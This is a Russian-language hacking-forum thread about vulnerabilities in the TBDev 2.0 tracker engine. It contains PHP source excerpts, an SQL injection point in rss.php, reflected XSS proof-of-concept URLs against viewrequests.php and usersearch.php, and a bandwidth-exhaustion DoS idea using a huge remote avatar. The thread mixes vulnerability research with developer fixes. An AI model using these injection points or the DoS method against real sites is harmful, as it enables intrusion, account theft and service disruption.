Трекер-движок TBDev 2.0

Discussion in 'Веб-уязвимости' started by Qwazar, 5 Aug 2008.

  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ну и хорошо, что разработчики обращают внимание на уязвимости своих продуктов. Очень правильный подход.

    З.Ы.
    Завязываем оффтопить.

    З.З.Ы.
    Разработчикам советую обратить внимание на: https://forum.antichat.ru/thread30641.html
     
  2. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    Не, ну это старенький код =)))

    А насчет SQL-inj - да там проблема что когда движок весь собирался - (а это 2006-й год!!!) то малость я тогда и не знал что такое есть, и как защищаться

    А лазить по всему коду - так влень, лучше списочком де дырки =)))))
     
    #122 Yuna, 24 Jun 2009
    Last edited: 24 Jun 2009
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Code:
    if (get_user_class() < UC_MODERATOR)
    	puke($tracker_lang['access_denied']);
    
    $action = $_POST["action"];
    
    if ($action == "edituser") {
    	$userid = $_POST["userid"];
    	$title = $_POST["title"];
    	$avatar = $_POST["avatar"];
    	// Check remote avatar size
    	if ($avatar) {
    		if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+(:[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
    						stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
    		if(!(list($width, $height) = getimagesize($avatar)))
    						stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
    		if ($width > $avatar_max_width || $height > $avatar_max_height)
    						stderr($tracker_lang['error'], sprintf($tracker_lang['avatar_is_too_big'], $avatar_max_width, $avatar_max_height));
    	}
    // Check remote avatar size
    	$resetb = $_POST["resetb"];
    	$birthday = ($resetb=='yes'?", birthday = '0000-00-00'":"");
    	$enabled = $_POST["enabled"];
    	$warned = $_POST["warned"];
    	$warnlength = 0 + $_POST["warnlength"];
    	$warnpm = $_POST["warnpm"];
    	$donor = $_POST["donor"];
    	$uploadtoadd = $_POST["amountup"];
    	$downloadtoadd=  $_POST["amountdown"];
    	$formatup = $_POST["formatup"];
    	$formatdown = $_POST["formatdown"];
    	$mpup = $_POST["upchange"];
    	$mpdown = $_POST["downchange"];
    	$support = $_POST["support"];
    	$supportfor = htmlspecialchars($_POST["supportfor"]);
    	$modcomm = htmlspecialchars($_POST["modcomm"]);
    	$deluser = $_POST["deluser"];
    
    	$class = 0 + $_POST["class"];
    	if (!is_valid_id($userid) || !is_valid_user_class($class))
    		stderr($tracker_lang['error'], "Неверный идентификатор пользователя или класса.");
    	// check target user class
    	$res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);
    	$arr = mysql_fetch_assoc($res) or puke("Ошибка MySQL: " . mysql_error());
    	$curenabled = $arr["enabled"];
    	$curclass = $arr["class"];
    	$curwarned = $arr["warned"];
    	if (get_user_class() == UC_SYSOP)
    		$modcomment = $_POST["modcomment"];
    	else
    		$modcomment = $arr["modcomment"];
    	// User may not edit someone with same or higher class than himself!
    	if ($curclass >= get_user_class() || $class >= get_user_class())
    		puke("Так нельзя делать!");
    

    $userid = $_POST["userid"];

    $res = sql_query("SELECT warned, enabled, username, class, modcomment, uploaded, downloaded FROM users WHERE id = $userid") or sqlerr(__FILE__, __LINE__);

    все это из файла modtask.php
    посмари там через пост не уязвим ли? просто с постом работать не умею :(
     
    _________________________
    #123 HAXTA4OK, 27 Jun 2009
    Last edited: 27 Jun 2009
  4. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    Не уязвим ))

    if (!is_valid_id($userid) || !is_valid_user_class($class))

    меня больше волнует проблема траффика и проверка аватарки - ну залью я туда jph весом 500 метров и все, удаленном трекеру жопа
     
    #124 Yuna, 27 Jun 2009
    Last edited: 27 Jun 2009
    1 person likes this.
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://127.0.0.1/treker/users.php?search=1&page=1

    тут у меня выдает

    Ответ от сервера MySQL: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-100,100' at line 1

    в C:\xampp\htdocs\treker\users.php, линия 131

    Запрос номер 12.
     
    _________________________
  6. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    нет, я не об этом я о возможности нагрузить канал трекера просто забив в поле аватара (урл аватарки!!) ссылку на файлик весом эдак под 500мб

    т.е беру файлик Therion_-_The_Miskolc_Experience-2CD-2009-FKK.rar переименовываю в avatar.jpg

    кидаю на какой-то хостинг, и давай на 3-х юзерских профилях - пункт проверка аватарки т.е установка, а там уже дело техники - каждый пхп будет качать эти 150 метров файлик, потом удалять, а мы тем временем продолжаем процесс.

    результат - на сервере забит канал, и вот вам по сути ддос

    if (!preg_match('#^((http)|(ftp):\/\/[a-zA-Z0-9\-]+?\.([a-zA-Z0-9\-]+\.)+[a-zA-Z]+:)[0-9]+)*\/.*?\.(gif|jpg|jpeg|png)$)#is', $avatar))
    stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
    if(!(list($width, $height) = getimagesize($avatar)))
    stderr($tracker_lang['error'], $tracker_lang['avatar_adress_invalid']);
     
    #126 Yuna, 28 Jun 2009
    Last edited: 28 Jun 2009
  7. ZonD80

    ZonD80 New Member

    Joined:
    29 Oct 2008
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Yuna привет:) Чет ты немнога поздно тут зарегался. Юзай идею:
    PHP:
    function remote_fsize($path)
    {
    $fp = @fopen($path,"r");
    if (!
    $fp) return false;
    $inf stream_get_meta_data($fp);
    fclose($fp);
    if (
    $inf["wrapper_data"]) {
    foreach(
    $inf["wrapper_data"] as $v)
    if (
    stristr($v,"content-length"))
    {
    $v explode(":",$v);
    return 
    trim($v[1]);
    }
    } else return 
    FALSE;
    }
     
  8. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Скуль тут не возможен из-за строки:
    PHP:
    $offset = ($page $perpage) - $perpage;
     
    1 person likes this.
  9. YouSeeBeter

    YouSeeBeter Banned

    Joined:
    2 Jul 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    эксплоит Qwazar'a как-будто вымер.

    Сейчас тестировал его на чистом SKy tracker где есть уязвимость:

    Trying to get your cookies... [DONE]
    Trying to get passhash:
    Exploit failed


    Проверьте сами, даже где пахал не пашет, помогите...
     
  10. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    :) Cнимай штаны и бегай.
    А по сабжу....проблема не в сплоите, а в тебе.

    P.S. Простите не удержался.
     
  11. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    <dsdsdsds>

    http://127.0.0.1/treker/rss.php?passkey=1'

    SQL

    Code:
    $passkey = $_GET["тут что то было((("];
    if ($passkey) {
    $user = mysql_fetch_row(sql_query("SELECT COUNT(*) FROM users WHERE passkey = '$passkey'"));
    if ($user[0] != 1)
    exit();
    } else
    loggedinorreturn();
    
    XSS

    http://127.0.0.1/treker/viewrequests.php?sort=%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E





    P.S. сорр не бегал по всем страницам так что не знаю выкладывали или нет багу =)



    http://127.0.0.1/treker/usersearch.php?r=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E

    =\ что то не понял...есть тут что нить или просто косяк кода?

    во всех(или нет, не проверял) usersearch.php?....=%22%3Cscript%3Ealert(/XSS/)%3C/script%3E

    такой косяк))))
     
    _________________________
    #131 HAXTA4OK, 8 Jul 2009
    Last edited: 20 Mar 2012
    1 person likes this.
  12. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://127.0.0.1/treker/userhistory.php?action=viewposts&id=x


    x= id у которого нету постов как я понял ..и он выдаст ошибку ))) но SQL не провернуть так как нету таблы такой у меня

    так что наверно к разряду раскрытие путей
     
    _________________________
  13. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    usersearch.php дыряв на XSS лучше чем решето =)))
     
    1 person likes this.
  14. peonix

    peonix New Member

    Joined:
    8 Nov 2008
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -1
    а по подробнее можно? и в каких версиях?
     
  15. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    во всех
     
  16. peonix

    peonix New Member

    Joined:
    8 Nov 2008
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -1
    напиши что за XSS ты узал если не трудно...
     
  17. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    для начала просто код откройте - нет проверки $_GET ваще никакой в файле...
     
    1 person likes this.
  18. peonix

    peonix New Member

    Joined:
    8 Nov 2008
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -1
    Yuna
    а через какой скрипт Вы в usersearch.php параметры передавали? просто так его вызвать нельзя...
     
  19. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    ? в смисле нельзя
     
  20. peonix

    peonix New Member

    Joined:
    8 Nov 2008
    Messages:
    20
    Likes Received:
    2
    Reputations:
    -1
    ну доступа к нему нет, ошибка 403, проверял и на локалхосте и во всех сайтах с этим движком